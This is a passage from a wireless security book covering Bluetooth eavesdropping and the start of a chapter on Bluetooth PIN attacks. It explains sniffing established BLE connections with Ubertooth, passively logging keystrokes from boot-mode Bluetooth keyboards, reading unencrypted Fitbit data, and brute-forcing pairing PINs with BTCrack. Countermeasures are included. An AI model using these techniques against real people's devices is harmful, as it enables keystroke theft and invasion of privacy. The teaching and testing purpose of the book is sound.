at	http://www.willhackforsushi.com/code/tibtle2pcap.zip.	You	can	use	the	tibtle2pcap.py
script	on	Windows	or	Linux	systems	(provided	you	have	a	Python	interpreter	installed	on
Windows),	as	shown	here:

The	fitbit-smartrf.pcap	output	file	can	be	viewed	with	Wireshark	and	the	btle	plug-in,
as	shown	in	Figure	9-9.

http://www.hackingexposedwireless.com
http://www.willhackforsushi.com/code/tibtle2pcap.zip


Figure	9-9	Wireshark	decode	of	converted	SmartRF	packet	capture

	

smartRFtoPcap	is	a	similar	project	written	by	Geoffrey	Kruse	in	C,	available	at
https://github.com/doggkruse/smartRFtoPcap.

The	combination	of	the	inexpensive	CC2540	USB	hardware	with	the	SmartRF	Packet
Sniffer	and	tibtle2pcap.py	script	makes	this	an	attractive,	low-cost	option	for	Bluetooth
Low	Energy	packet	sniffing.	Unfortunately,	the	CC2540	USB	stock	firmware	does	not
support	the	ability	to	capture	traffic	for	an	established	Bluetooth	Low	Energy	connection,
limiting	packet	capture	and	eavesdropping	attacks	to	situations	in	which	the	attacker	is
sniffing	prior	to	the	start	of	the	Bluetooth	Low	Energy	connection.	Fortunately,	this	is	a
feature	of	ubertooth-btle.

Bluetooth	Low	Energy	Promiscuous	Mode	Following
In	a	Bluetooth	Low	Energy	attack	scenario,	limiting	the	eavesdropping	attack	to	new
Bluetooth	Low	Energy	connections	that	have	not	yet	been	established	may	be	impractical.
For	example,	consider	a	deployment	of	handheld	PIN	entry	devices	(PEDs)	that	use

https://github.com/doggkruse/smartRFtoPcap


Bluetooth	Low	Energy	to	transmit	credit	card	information	to	a	receiver	that	forwards	the
data	to	a	backend	validation	system.	The	PED	may	establish	a	Bluetooth	connection	when
the	device	is	turned	on	and	keep	that	connection	established	for	an	extended	period	of
time.	Remember	that	tools	such	as	the	Frontline	CPAS	and	the	Texas	Instruments
SmartRF	Packet	Sniffer	system	rely	on	observing	the	connection	request	packet	to	identify
the	access	address,	hop	interval,	hop	increment,	and	CRC	seed	values	in	order	to	hop
along	with	the	Bluetooth	Low	Energy	connection.	Without	observing	these	values,	the
system	cannot	participate	in	the	frequency-hopping	exchange.

By	contrast,	the	Ellisys	BEX400	Bluetooth	Analyzer	product	listens	on	all	Bluetooth
channels	simultaneously.	Because	it	does	not	rely	on	channel	hopping,	the	BEX400	does
not	need	to	capture	the	connection	request	frame	to	capture	network	activity.
Unfortunately,	the	BEX400	is	also	out	of	the	price	range	of	many	hobbyists,	forcing	us	to
seek	another	solution	to	capturing	traffic	for	an	established	Bluetooth	Low	Energy
network.

Enter	Ubertooth.	As	an	alternative	to	the	ubertooth-btle	functionality	to	follow	a
Bluetooth	Low	Energy	network	connection	request	message	(with	the	-f	argument),	we
can	eavesdrop	in	promiscuous	mode,	deriving	the	information	necessary	for	Bluetooth
Low	Energy	eavesdropping.	By	running	ubertooth-btle	with	the	promiscuous	mode
capture	argument	(-p),	Ubertooth	will	use	several	techniques	to	derive	the	information
necessary	to	channel	hop	and	decode	the	Bluetooth	Low	Energy	network:

1.	Ubertooth-btle	starts	capturing	bitstream	data	representing	packets	and	noise	on	a
single	channel.	To	identify	the	beginning	of	a	packet,	ubertooth-btle	starts	identifying
the	common	header	values	for	empty	packets,	recording	the	next	4	bytes	as	a	possible
access	address.	By	repeating	this	process	several	times,	ubertooth-btle	is	able	to
identify	a	valid	access	address	by	counting	the	number	of	matching	values.

2.	Using	the	recovered	access	address	to	identify	a	packet,	the	CRC	initialization	value
is	recovered	by	observing	a	common	packet	type	and	reversing	the	Linear	Feedback
Shift	Register	(LFSR)	calculation:	start	with	the	packet	and	the	CRC	and	run	the
procedure	backward	to	recover	the	CRC	initialization	value.	Once	the	CRC
initialization	value	has	been	recovered	and	validated	with	subsequent	packets,	it	can
be	used	to	validate	later	packets	during	the	promiscuous	mode	sniffing	process.

3.	Next,	the	hop	interval	is	recovered	by	listening	on	a	single	channel	and	observing	two
consecutive	packets.	Using	the	time	difference	(the	delta)	of	the	two	packets	and
dividing	by	37	reveals	the	hop	interval.

4.	Finally,	the	hop	increment	is	recovered.	The	ubertooth-btle	listens	for	a	packet	on	a
data	channel,	and	as	soon	as	it	is	received,	it	hops	to	the	next	channel	(e.g.,	start	on
channel	1	and	hop	to	channel	2).	Since	the	hop	interval	was	determined	in	the
previous	step,	when	we	see	a	packet	arrive	on	the	next	channel,	we	can	calculate	the
hop	increment	by	examining	the	time	difference	between	the	two	observed	packets.

While	the	process	for	recovering	the	necessary	information	to	hop	along	with	the
Bluetooth	Low	Energy	network	is	complex,	the	implementation	is	straightforward.	Simply
run	the	ubertooth-btle	command	with	the	-p	argument	(optionally	saving	the	packet
contents	with	-c)	and	wait	for	ubertooth-btle	to	calculate	the	necessary	information	prior



to	hopping	with	the	piconet,	as	shown	here:

Ubertooth-btle	in	promiscuous	mode	will	start	to	capture	on	channel	17	(2.440	GHz),
identifying	the	access	address	(AA)	from	empty	L2CAP	frames.	Once	the	AA	is
recovered,	ubertooth-btle	goes	on	to	recover	the	CRC	initialization	value,	hop	interval,
and	hop	increment,	eventually	hopping	with	the	Bluetooth	Low	Energy	network	and
recovering	packet	data,	as	shown	in	this	example.

Now	that	we’ve	examined	several	techniques	for	eavesdropping	on	Bluetooth
networks,	let’s	look	at	some	practical	examples	in	which	eavesdropping	attacks	can
benefit	an	attacker.

Exploiting	Bluetooth	Networks	Through
Eavesdropping	Attacks
With	the	ability	to	capture	traffic	on	Bluetooth	networks,	we	can	begin	to	evaluate	the
nature	of	data	sent	over	these	connections	to	identify	information	disclosure	threats.	The
risk	of	Bluetooth	networks	can	vary	significantly,	depending	on	the	nature	of	the	data
being	transmitted	and	whether	Bluetooth	encryption	is	used	to	protect	the	confidentiality
of	the	traffic	(we	examine	attacks	against	Bluetooth	encryption	in	Chapter	10).	Next,	we
examine	two	specific	examples	of	Bluetooth	eavesdropping	attacks,	highlighting	the
threats	of	specific	Bluetooth	Classic	and	Bluetooth	Low	Energy	implementations.



Bluetooth	Classic	Keyboard	Eavesdropping

Perhaps	second	only	to	Bluetooth	headsets,	Bluetooth	keyboards	and	mice	are	very
common.	Compared	to	their	less	expensive	27-MHz	counterparts,	Bluetooth	keyboards
claim	greater	range,	reliability,	and,	according	to	at	least	one	manufacturer,	greater
security	through	the	use	of	“industry	standard	encryption”
(http://download.microsoft.com/download/1/d/8/1d8e6b48-4702-4dae-86bc-
020ece4b9ea4/MicrosoftHardwareBluetoothWhitePaper.pdf,	page	6).

At	first	glance,	Bluetooth	seems	like	a	terrific	technology	for	wireless	keyboards.	With
the	ability	to	provide	encryption	and	authentication	services,	Bluetooth	represents	a
mechanism	by	which	strong	security	can	be	applied	to	peripheral	computing	devices,
protecting	against	common	attacks	such	as	wireless	keystroke	logging.	The	Bluetooth
Human	Interface	Device	(HID)	profile	defines	a	special	set	of	requirements	for	the
sensitive	nature	of	keyboard	devices	(http://tinyurl.com/mor8o2,	section	4.5):

Bluetooth	security	measures,	such	as	authentication,	bonding,	and	encryption,
are	optional	in	all	Bluetooth	HIDs	except	keyboards,	keypads,	and	other	types	of
devices	which	transmit	biometric	or	identification	information.	Similarly,	hosts	or
host	applications	that	can	potentially	receive	sensitive	information	from	a
Bluetooth	keyboard	or	keypad	should	request	a	secure	connection.	This	is	to
ensure	that	users	are	not	confused	by	the	availability	of	both	secure	and	non-secure
Bluetooth	keyboards,	and	provides	a	clear	value-added	security	benefit	to
Bluetooth	keyboards	over	existing	wireless	keyboards	on	the	market.

Despite	the	strong	security	requirements	in	the	HID	profile,	Bluetooth	keyboard
technology	is	not	as	straightforward	as	you	might	otherwise	assume.	For	example,
consider	the	requirement	for	keyboard	support	on	a	client	before	the	system	boots	to
access	BIOS	settings	on	a	PC.	The	Bluetooth	HID	specification	clearly	states	that	the	host
is	responsible	for	initiating	security	settings,	yet	no	type	of	Bluetooth	support	is	available
before	the	host	operating	system	has	booted,	as	the	BIOS	does	not	include	the
functionality	of	a	Bluetooth	host	stack.

To	support	this	scenario,	the	Bluetooth	Classic	HID	profile	specifies	using	a	functional
input	mode	known	as	boot	mode.	In	boot	mode,	the	Bluetooth	dongle	reverts	to	behaving
like	a	simple	USB	HID	device,	creating	an	unencrypted	link	between	the	Bluetooth
keyboard	and	the	host	interface.	By	acting	as	a	USB	HID	device,	even	basic	interfaces
such	as	the	BIOS	can	support	the	Bluetooth	keyboard	for	input	because	it	recognizes	the
device	as	if	it	were	just	a	USB	keyboard	input.

Many	Bluetooth	products	support	the	functionality	of	boot	mode	to	create	a	simple
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interface	for	end-users	to	leverage	their	Classic	keyboards.	For	example,	the	Logitech
MX5000	Bluetooth	Keyboard	and	Mouse	Combo	available	at	popular	electronics	stores
describes	a	feature	in	the	user	guide	known	as	Quick	Pairing.	The	product	documentation
instructs	the	user	to	insert	the	included	Bluetooth	USB	adapter,	shown	here,	into	the	host
system	and	to	cancel	the	resulting	Add	New	Hardware	wizard,	and	instead	press	and	hold
a	single	button	on	the	adapter	temporarily	until	an	LED	indicator	begins	to	blink.	While
the	Bluetooth	Classic	USB	adapter	is	blinking,	the	user	presses	a	similar	button	on	the
keyboard	and	mouse	products	to	complete	the	boot-mode	pairing	process.

The	common	use	situation	for	Bluetooth	keyboards	is	to	configure	the	system	in
Bluetooth	HID	boot	mode.	Either	following	the	written	instructions	of	the	product	(as	is
the	case	for	the	Logitech	MX5000	product	in	Quick	Pairing	mode)	or	through	intuitive
device	configuration,	Bluetooth	keyboard	users	seldom	revert	to	the	full	Bluetooth	HID
mode	that	supports	encryption	and	device	authentication,	leaving	their	keyboard
keystrokes	susceptible	to	passive	sniffing	attacks.

	

Bluetooth	keyboards	are	also	very	popular	for	Apple	iOS	devices.	In	this	author’s	testing,
Apple	iOS	requires	the	use	of	Bluetooth	HID	encryption	for	Bluetooth	keyboards	and	does
not	permit	the	keyboard	to	operate	in	boot	mode.

With	a	Bluetooth	sniffer,	decoding	a	Bluetooth	keyboard’s	keystrokes	to	create	a
passive,	remote	keystroke	logger	is	straightforward.	First,	in	physical	proximity	to	the
victim	system,	initiate	a	packet	capture.	In	the	example	shown	in	Figure	9-10,	we	use	the
Ellisys	BEX400	hardware	to	capture	the	data	(similar	analysis	is	also	possible	with	the
low-cost	Ubertooth,	though	decoding	support	will	wait	until	libpcap	support	is
introduced).



Figure	9-10	Ellisys	Bluetooth	Analyzer	keyboard	packet	capture

In	this	example,	we	have	applied	a	packet	type	filter	of	“hid”	in	the	Ellisys	Bluetooth
Analyzer,	limiting	the	packet	list	to	Human	Interface	Device	packets.	In	the	selected
packet,	the	detail	view	on	the	right	indicates	that	this	packet	is	an	unencrypted,	Bluetooth
Classic	DM1	packet,	decoding	the	HID	data	to	reveal	a	keyboard	keystroke	of	S.

With	this	information,	we	can	ascertain	that	the	Bluetooth	keyboard	is	operating	in
boot	mode,	and	investigating	the	packets	one	at	a	time,	we	can	reassemble	all	keystrokes
from	the	keyboard	(including	modifier	keys	such	as	SHIFT	and	ALT).	The	Ellisys	Bluetooth
Explorer	software	does	not	reassemble	this	data	into	an	easily	readable	format	for	us,	but
we	can	export	the	packet	capture	and	use	a	Python	tool	to	recover	the	keyboard	data.

From	Bluetooth	Explorer,	click	File	|	Export.	Select	Bluetooth	Raw	Data	And	Payload
as	the	data	type	and	select	Next.	Accept	the	Export	wizard’s	defaults,	but	choose	to	export
the	data	in	CSV	file	format,	as	shown	here.



With	the	CSV	file	export,	we	can	use	the	btaptap	utility	included	with	the	libbbtbb
tools	to	extract	keyboard	keystrokes:

	



The	ellisys-keyboard.csv	capture	file	export	is	also	available	on	the	Hacking	Exposed

Wireless	companion	website	at	http://www.hackingexposedwireless.com.	

The	output	from	btaptap	reveals	the	keystroke	information	entered	by	the	victim	using
the	insecure	Bluetooth	keyboard.	(This	content	is	an	excerpt	from	Ghost	in	the	Wires:	My
Adventures	as	the	World’s	Most	Wanted	Hacker	by	Kevin	Mitnick;	Little,	Brown	and
Company,	2011.)	Typos	in	the	output	are	a	combination	of	this	author’s	poor	typing	skills
alongside	corrupt	and	dropped	packets	during	the	packet	capture	process.	However,
sufficient	content	was	captured	at	a	distance	of	approximately	40	feet	from	the	victim
device	to	obtain	readable	text.	Should	the	user	have	been	typing	an	email,	entering
banking	information,	or	specifying	a	password	to	log	in	to	a	system,	those	keystrokes
would	have	been	revealed	as	well.

	Mitigating	Bluetooth	Classic	Keyboard	Eavesdropping
To	mitigate	the	threat	of	passive	Bluetooth	Classic	keyboard	eavesdropping,	avoid	using
the	HID	boot	mode	mechanism	that	sends	traffic	in	plaintext.	Instead,	leverage	the
Bluetooth	stack	on	the	host	to	take	advantage	of	the	encryption	and	authentication	options
that	are	available	through	a	full	Bluetooth	HID	profile	implementation.

Avoid	using	the	simple	connection	setup	mode	described	in	most	Bluetooth	Classic
keyboard	user	guides,	where	the	setup	process	consists	of	pressing	a	button	on	a	supplied
Bluetooth	Classic	USB	interface	and	then	pressing	similar	buttons	on	the	mouse	and
keyboard.	This	process	is	nearly	always	used	to	establish	boot	mode	connections,	leaving
the	Bluetooth	Classic	session	exposed	to	passive	attacks.	Instead,	configure	the	host
system	from	the	client	operating	system	and	Bluetooth	Classic	stack	administration	tools
to	configure	HID	support.

	Securing	Bluetooth	Classic	Keyboards
Although	many	Bluetooth	Classic	keyboards	do	not	use	encryption	in	HID	mode,	you	can
defeat	this	eavesdropping	attack	by	leveraging	the	full	Bluetooth	Classic	Keyboard	Profile
feature	set	while	encrypting	all	traffic.	Always	leverage	the	Bluetooth	Classic	stack	on	the
host	device	to	support	the	Bluetooth	Classic	keyboard	instead	of	using	HID	mode.	When
configuring	the	Bluetooth	Classic	stack	on	the	host,	ensure	that	all	available	encryption
options	are	enabled	to	prevent	an	attacker	from	capturing	keyboard	keystrokes	that	could
reveal	sensitive	information.

Bluetooth	Low	Energy	Fitbit	Eavesdropping

http://www.hackingexposedwireless.com


Fitbit,	Inc.,	manufacturers	a	line	of	Bluetooth	Low	Energy	activity-tracking	devices
that	are	popular	with	consumers	for	their	ease	of	use	and	integration	with	popular	mobile
devices	and	social	networking.	The	Fitbit	One	is	a	small	activity-tracking	device	worn
with	a	clip	that	tracks	steps	taken,	distance	traveled,	number	of	stairs	climbed,	and	other
metrics.	By	default,	the	Fitbit	One	shares	motivational	“chatter”	messages,	as	shown	here,
to	entice	the	user	into	engaging	in	healthier	exercise	activities.

Using	the	BLE	sniffing	techniques	examined	in	this	chapter,	an	attacker	can	eavesdrop
on	the	synchronization	of	data	between	the	Fitbit	device	and	the	receiver,	such	as	a	mobile
device	or	traditional	Mac	or	Windows	system.	This	process	is	straightforward	with	the	TI
SmartRF	Packet	Sniffer	software.	After	starting	the	Packet	Sniffer	software,	click	the	Play
button	on	the	toolbar	to	start	the	capture	process.	The	Packet	Sniffer	starts	to	capture	on
the	default	advertising	channel	(channel	37,	2.402	GHz).	When	a	data	connection	is
observed,	the	Packet	Sniffer	begins	channel	hopping	to	capture	all	the	network	activity.

In	a	scenario	in	which	Fitbit	devices	are	configured	to	synchronize	automatically	to	a
mobile	device,	an	attacker	can	start	the	Packet	Sniffer	capture	and	wait	for	the	data
connection,	identified	by	the	changing	channel	number	in	the	packet	capture,	as	shown	in
Figure	9-11.	When	the	data	synchronization	is	completed,	the	mobile	device	will	terminate
the	connection,	returning	the	Packet	Sniffer	software	to	the	default	advertising	channel.

Although	the	SmartRF	Packet	Sniffer	software	offers	some	decoding	capability,
Wireshark’s	protocol	analysis	features	are	much	more	sophisticated.	To	view	the	saved
Packet	Sniffer	capture	in	Wireshark,	convert	the	psd	file	to	libpcap	format	using	the
tibtle2pcap	utility,	as	shown	here:

The	Wireshark	display	of	the	fitbit-setup.pcap	file	(included	on	the	companion	website



at	http://www.hackingexposedwireless.com)	includes	nearly	3000	packets.	Many	of	these
packets	are	uninteresting	for	a	Fitibt	activity	review	and	can	be	eliminated	from	the
display	using	a	Wireshark	display	filter,	as	shown	next:

Figure	9-11	SmartRF	Packet	Sniffer	Fitbit	packet	capture
!(btle.advertising_header.pdu_type	==	0)	&&	!(btle.data_header.length	==	0)

This	display	filter	deletes	the	BLE	advertising	packets	from	the	display
(btle.advertising_header.pdu_type	==	0)	and	deletes	packets	with	an	empty	data
payload	(btle.data_header.length	==	0).	Then	we	can	quickly	scrutinize	the	remaining
130	packets.	Our	examination	reveals	several	interesting	characteristics:

•		Fitbit	does	not	encrypt	BLE	traffic.	The	Fitbit	traffic	sent	in	regular
synchronization	messages	is	not	encrypted,	revealing	plaintext	content	in	the
packet	capture.

•		Chatter	messages	are	regularly	updated.	Periodically,	the	synchronization
process	delivers	new	chatter	messages	for	display	on	the	Fitbit	One	device,	as
shown	in	Figure	9-12.

•		Activity-tracking	counter	is	disclosed	in	plaintext.	The	activity	information
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tracked	by	the	Fitbit	One	is	disclosed	in	plaintext	in	BLE	ATT	messages,	using	a
consistent	write	command	handle	of	0x000E,	as	shown	next:

26:02:00:00:01:00:1b:00:00:00:ee:80:b0:5c:8c:70:46:f1:c2:1c

Although	much	of	this	data	payload	format	is	unknown,	the	value	“00:1b”
corresponds	to	this	author’s	paltry	step	count	of	27	(0x001b	is	27	in	decimal
format).	Subsequent	synchronization	captures	with	additional	steps	further
indicate	this	value	corresponds	to	step	count,	whereas	later	values	disclose	other
attributes,	including	the	number	of	stairs	climbed.



Figure	9-12	Wireshark	display	of	Fitbit	One	synchronization	data



From	a	threat	perspective,	the	disclosure	of	activity	information	through	the	Fitbit	One
is	minor.	However,	this	vulnerability,	combined	with	other	vulnerabilities,	including	the
disclosure	of	heart-rate	information	through	the	Polar	FT-7	described	earlier,	points	to	a
disconcerting	trend	of	information	disclosure.	As	users	leverage	more	devices	to	collect
telemetry	information,	including	exercise	and	activity	data,	food	intake	information,	blood
pressure,	weight,	body	fat	measurement,	body	temperature,	and	more,	so,	too,	do	the
opportunities	increase	for	eavesdropping	by	attackers.	While	one	minor	example	of	the
disclosure	of	step	counts	might	seem	inconsequential	as	a	threat,	the	collective	disclosure
of	many	personal	attributes	about	activities	and	health	information	may	represent	a	more
significant	concern	for	end-users.

	Fitbit	Eavesdropping	Countermeasures
To	minimize	the	risk	of	information	disclosure	through	a	Fitbit	eavesdropping	attack,
users	can	disable	the	“All-Day	Sync”	feature	in	the	FitBit	app,	shown	here	for	Apple	iOS
(a	similar	feature	is	also	available	for	Android	users).	After	disabling	this	feature,	Fitbit
users	will	have	to	manually	synchronize	the	app	to	transfer	activity	statistics	from	the
Fitbit	to	the	mobile	device	and	to	the	Fitbit	cloud	servers,	but	can	do	so	at	a	time	of	their
choosing.	By	synchronizing	the	Fitbit	at	home	or	at	another	location,	users	can	minimize
the	number	of	opportunities	for	an	attacker	to	eavesdrop	on	the	BLE	connection	in
locations	that	are	less	likely	to	be	monitored	by	an	attacker.



Summary
In	this	chapter,	we	examined	different	techniques	an	attacker	can	use	to	eavesdrop	on
Bluetooth	network	traffic	using	packet	sniffing	techniques.	Both	commercial	and	open
source	tools	are	available,	offering	different	features	to	end-users.

For	Bluetooth	Classic	devices,	the	open	source	Ubertooth	project	allows	an	attacker	to
capture	Bluetooth	BR	activity,	but	it	lacks	support	for	EDR	connections.	Commercial
tools	from	Frontline	Test	Equipment	and	Ellisys	overcome	this	limitation,	but	at
significant	cost.

For	Bluetooth	Low	Energy	devices,	the	Ubertooth	project	through	the	ubertooth-btle
tool,	as	well	as	the	low-cost	Texas	Instruments	SmartRF	Packet	Sniffer	tool,	can	identify
the	establishment	of	a	network	connection	and	then	use	the	gathered	information	to
channel	hop	in	sync	with	the	transmitter	and	the	receiver.	Furthermore,	ubertooth-btle	can
use	promiscuous	mode	to	determine	the	required	network	characteristics	for	channel



hopping	and	packet	capture,	even	for	established	networks.

Finally,	we	examined	attack	techniques	that	use	Bluetooth	eavesdropping	to	exploit
vulnerabilities	in	Bluetooth	Classic	and	Bluetooth	Low	Energy	devices.	We’ll	continue	to
build	on	these	techniques	in	the	next	chapter	on	attacking	and	exploiting	Bluetooth
networks.



	





CHAPTER	10
	



ATTACKING	AND	EXPLOITING
BLUETOOTH

	





Many	organizations	overlook	the	security	threat	posed	by	Bluetooth	devices.	Whereas
significant	effort	is	spent	on	deploying	and	hardening	Wi-Fi	networks	through
vulnerability	assessments	and	penetration	tests	or	ethical	hacking	engagements,

very	little	is	done	in	the	field	of	Bluetooth	security.

Part	of	the	reason	why	few	organizations	spend	resources	on	evaluating	their
Bluetooth	threat	is	a	common	risk	misconception:	“We	are	indifferent	about	Bluetooth
security	because	it	doesn’t	threaten	our	critical	assets.”	Even	when	organizations
recognize	the	threat	Bluetooth	poses,	very	few	people	have	the	developed	skills	and
expertise	to	implement	a	Bluetooth	penetration	test	successfully	or	to	ethically	hack	a
given	Bluetooth	device.

In	this	chapter,	we’ll	dispel	the	misconception	about	the	lack	of	a	threat	from
Bluetooth	technology	and	provide	guidance	and	expertise	on	attacking	Bluetooth
networks.	We’ll	examine	several	different	attacks	against	Bluetooth	devices,	targeting
both	implementation-specific	vulnerabilities,	vulnerabilities	in	the	Bluetooth	specification
itself,	and	vulnerabilities	in	emerging	Bluetooth	technologies,	including	Apple	iBeacon.
After	finishing	this	chapter	and	experimenting	with	some	of	the	tools	mentioned	here,
you’ll	be	able	to	apply	these	attacks	successfully	to	identify	your	risk	and	exposure	due	to
Bluetooth	technology,	as	well	as	apply	a	successful	Bluetooth	penetration	test.

Bluetooth	PIN	Attacks
Legacy	Bluetooth	devices	(prior	to	the	Bluetooth	2.1	specification	and	the	release	of	the
Secure	Simple	Pairing,	or	SSP,	specification)	relied	solely	on	PIN	validation	for
authentication,	requiring	that	a	PIN	from	1	to	16	digits	in	length	be	validated	by	both
devices.	In	many	of	these	products,	the	PIN	was	statically	defined	and	could	not	be
changed	by	the	end-user.	With	SSP,	Bluetooth	Basic	Rate	and	Enhanced	Data	Rate	(BR
and	EDR,	dubbed	“Classic”	herein)	devices	support	multiple	authentication	methods,
including

•		Numeric	Comparison	The	user	is	shown	a	six-digit	number	on	two	devices
and	prompted	to	answer	Yes	or	No	if	they	match.

•		Just	Works	Although	this	uses	the	same	authentication	strategy	as	Numeric
Comparison,	it	doesn’t	prompt	the	user	to	validate	the	two	six-digit	numbers.

•		Passkey	Entry	Designed	for	scenarios	where	one	device	has	a	display	and
the	other	has	a	numeric	keypad,	Passkey	Entry	displays	a	six-digit	number	and
requires	that	the	user	enter	the	value	on	the	second	device.

•		Out	of	Band	(OOB)	OOB	authentication	leverages	a	second	technology	for
exchanging	authentication	data	and	derived	keys,	such	as	near	field
communication	(NFC).

Bluetooth	Classic	SSP-capable	devices	using	Numeric	Comparison,	Just	Works,	or
Passkey	Entry	authentication	also	leverage	Elliptic	Curve	Diffie-Hellman	(ECDH)
cryptography	to	defeat	eavesdropping	attacks.	Additionally,	Numeric	Comparison	and



Passkey	Entry	provide	protection	against	MitM	attacks	(Just	Works	does	not	provide
MitM	protection;	OOB	authentication	relies	on	the	security	of	the	OOB	protocol	for
passive	eavesdropping	and	MitM	protection).

With	the	introduction	of	Bluetooth	Low	Energy,	the	Bluetooth	Special	Interest	Group
(SIG)	simplified	support	for	device	authentication	in	order	to	reduce	the	cost	of	the
Bluetooth	controller	and	to	keep	the	complexity	of	slave	devices	to	a	minimum.	Bluetooth
Low	Energy	devices	still	have	the	option	of	using	Numeric	Comparison,	Just	Works,	and
OOB	authentication	(Passkey	Entry	is	not	supported	in	Bluetooth	Low	Energy	SSP),	but
lack	passive	eavesdropping	protection	due	to	a	discontinuation	of	support	for	ECDH
cryptography	in	these	devices.

From	a	practical	exploitation	perspective,	Bluetooth	SSP	is	difficult	to	exploit.	Passive
eavesdropping	on	the	Bluetooth	SSP	pairing	process	does	not	reveal	sufficient	information
for	an	attack	to	recover	a	derived	encryption	key	with	which	data	could	be	decrypted.
Despite	the	use	of	ECDH,	Bluetooth	SSP	has	been	shown	to	be	vulnerable	to	MitM
attacks	in	several	instances,	predominantly	when	an	attacker	can	jam	the	2.4-GHz
spectrum	to	force	a	re-pairing	event	and	“dumb	down”	the	resulting	pairing	process	as
MitM	by	forcing	devices	to	use	the	Just	Works	method	(sometimes	dubbed	the	BT-NIÑO-
MITM	attack).	Although	this	attack	is	proven	in	several	academic	papers,	no	publicly
accessible,	practical	attack	tools	are	available.

Despite	this	limitation,	publicly	accessible	tools	that	build	on	Bluetooth	packet
captures	(predominantly	targeting	Ubertooth	packet	captures)	are	available	for	exploiting
Bluetooth	Classic	and	Bluetooth	Low	Energy	pairing	exchanges.

Bluetooth	Classic	PIN	Attacks
As	you	saw	in	Chapter	7,	two	devices	may	pair	to	derive	a	128-bit	link	key	that	is	used	to
authenticate	the	identity	of	the	claimant	device	and	encrypt	all	traffic.	This	pairing
exchange	is	solely	protected	by	a	PIN	value	for	Bluetooth	Classic	devices.

The	Bluetooth	Classic	pairing	process	is	a	point	of	significant	vulnerability	between
the	devices	where	an	attacker	who	can	observe	the	pairing	exchange	can	mount	an	offline
brute-force	attack	against	the	PIN	selection.	After	the	pairing	process	is	complete,
subsequent	connections	leverage	the	stored	128-bit	link	key	for	authentication	and	key
derivation,	which	is	currently	impractical	to	attack.

In	order	to	crack	the	PIN	information,	the	attacker	must	discover	the	following	pieces
of	information:

•		IN_RAND,	sent	from	the	initiator	to	the	responder

•		Two	COMB_KEY	values,	sent	from	the	initiator	and	the	responder	devices

•		AU_RAND,	sent	from	the	authentication	claimant

•		Signed	Response	(SRES),	sent	from	the	authentication	verifier

	



Here,	we	use	the	terms	initiator	and	responder	to	indicate	the	entity	that	initiates	the
pairing	exchange	and	the	device	that	responds	to	the	initiation,	respectively.	In	most	cases,
the	master	is	the	initiator	and	the	slave	is	the	responder	(from	a	pairing	perspective),	but
this	is	not	always	the	case.	The	slave	may	initiate	the	pairing	exchange	and	the	master	may
respond.

Since	the	Bluetooth	Classic	authentication	mechanism	performs	mutual-authentication
(the	slave	device	authenticates	to	the	master	device	and	vice	versa),	the	attacker	has	two
opportunities	to	identify	the	AU_RAND	and	SRES	values;	either	exchange	is	sufficient,
but	identifying	the	device	performing	authentication	(master	or	slave	BD_ADDR)	is
significant.	In	addition,	the	attacker	needs	to	know	both	the	slave	and	master	BD_ADDRs,
which	are	not	transmitted	over	the	air	as	part	of	the	pairing	exchange.

	

The	full	BD_ADDR	is	needed	to	mount	a	brute-force	attack	against	the	PIN.	Knowing
only	the	LAP	and	UAP	is	not	enough;	the	correct	NAP	must	also	be	specified.

	BTCrack

BTCrack	is	a	Bluetooth	PIN	cracking	tool	for	Windows	clients	written	by	Thierry
Zoller	(available	at	http://blog.zoller.lu/2009/02/btcrack-11-final-version-fpga-
support.html).	This	tool	is	easy	to	use,	though	we’ve	given	it	a	relatively	low	simplicity
score,	due	to	the	challenges	in	capturing	the	pairing	data	needed	to	crack	the	PIN.

To	use	BTCrack,	start	with	a	packet	capture	of	the	pairing	exchange.	Using	Ubertooth
and	Wireshark,	the	Frontline	BPA	600,	or	the	Ellisys	BEX400,	capture	the	pairing
exchange	between	two	devices	and	identify	the	IN_RAND,	COMB_KEYs,	AU_RAND,
and	SRES	values.	Once	the	identified	fields	have	been	populated,	identify	the	maximum
PIN	length	that	BTCrack	should	attempt	to	recover	and	then	click	the	Crack	button.
BTCrack	will	brute-force	the	PIN	value	until	it	identifies	the	correct	PIN	or	it	exhausts	all
possible	PIN	values.

	

http://blog.zoller.lu/2009/02/btcrack-11-final-version-fpga-support.html


BTCrack	allows	you	to	specify	the	maximum	PIN	length	that	it	can	brute-force,	all	the
way	up	to	the	longest	PIN	supported	by	the	specification	(16	numbers).	This	is	seldom
needed	because	the	vast	majority	of	Bluetooth	products	performing	PIN-based
authentication	use	only	four-digit	PIN	values.

	

The	BTCrack	GUI	interface	is	slow	to	respond	during	a	PIN	attack	and	may	even	appear
to	freeze	during	a	PIN-cracking	session.	Allow	BTCrack	to	continue	running	to	complete
the	attack.

As	you	can	see	in	the	output	shown	in	the	BTCrack	window,	at	the	completion	of	a
successful	PIN	recovery,	BTCrack	will	display	the	successful	PIN	value,	as	well	as	the
128-bit	link	key	that	was	derived	as	part	of	the	attack.	BTCrack	will	also	report	the
amount	of	time	needed	to	recover	the	key	(or	exhaust	all	the	possible	PIN	values)	and	will
indicate	the	number	of	PIN	guesses	per	second	on	the	status	bar.	In	the	BTCrack	example
just	shown,	the	author’s	2.7-GHz	i7-2620M	system	achieved	nearly	500,000	PIN	guesses
per	second.



	BTCrack	OSS

BTCrack	OSS	is	an	open	source	release	of	the	BTCrack	engine,	stripped	of	the	GUI
interface.	Written	by	Eric	Sesterhen	and	Thierry	Zoller,	with	later	improvements
introduced	by	Mike	Ryan	and	intended	for	cross-platform	use,	BTCrack	OSS	is
commonly	used	on	Linux	and	other	Unix-variant	systems.	This	tool	adds	a	minor
performance	improvement	over	the	Windows	BTCrack	tool,	as	well	as	support	for	Linux
systems	with	the	availability	of	the	tool’s	source	code.

Like	BTCrack,	you	must	specify	the	needed	IN_RAND,	COMB_KEYs,	AU_RAND,
and	SRES	values,	as	well	as	the	master	and	slave	BD_ADDRs.	The	#threads	argument
tells	BTCrack	OSS	to	use	multiple	CPU	cores	to	accelerate	the	cracking	process;	for	best
results,	specify	a	number	of	threads	one	greater	than	the	number	of	cores	available	on	your
system.

The	order	of	the	data	specified	by	the	BTCrack	OSS	software	is	odd	in	that	it	expects
data	outside	of	the	natural	order	in	which	the	fields	are	transmitted	(e.g.,	you	must	specify
master	AU_RAND,	slave	AU_RAND,	master	SRES,	slave	SRES,	even	though	they	are



transmitted	in	the	order	of	master	AU_RAND,	slave	SRES,	slave	AU_RAND,	master
SRES).	In	our	example,	we	use	the	following	pairing-exchange	data	values	with	BTCrack
OSS	to	recover	the	PIN	in	the	order	shown:

	

